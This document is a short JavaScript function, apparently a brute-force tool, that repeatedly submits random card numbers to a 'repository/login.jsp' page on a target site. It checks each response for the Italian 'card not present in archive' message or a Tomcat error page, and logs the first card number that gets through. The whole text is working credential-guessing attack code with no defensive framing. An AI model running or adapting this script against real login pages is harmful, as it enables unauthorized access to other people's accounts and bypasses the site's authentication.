function bfPin(){
    let min=100;
    let max=1000;

    askGetPage(forceUrl +"repository/login.jsp", function(err, body){
            let req = {
                userCard: Math.floor(Math.random()*(max-min+1)+min),
                submitLogin: "Entra"
            };
            console.log("Try pin: ", req.userCard);
            askPostPage(forceUrl + "repository/login.jsp", req, function (err, body) {
                let found = body.indexOf("Numero Card non presente in archivio") <= -1 &&
                    body.indexOf("Apache Tomcat/6.0.45 - Error report")<=-1 ;
                if(found) {
                    console.log("FOUNDED", req.userCard);
                    process.exit(0);
                }
                else{
                    bfPin();
                }
            })
    });
}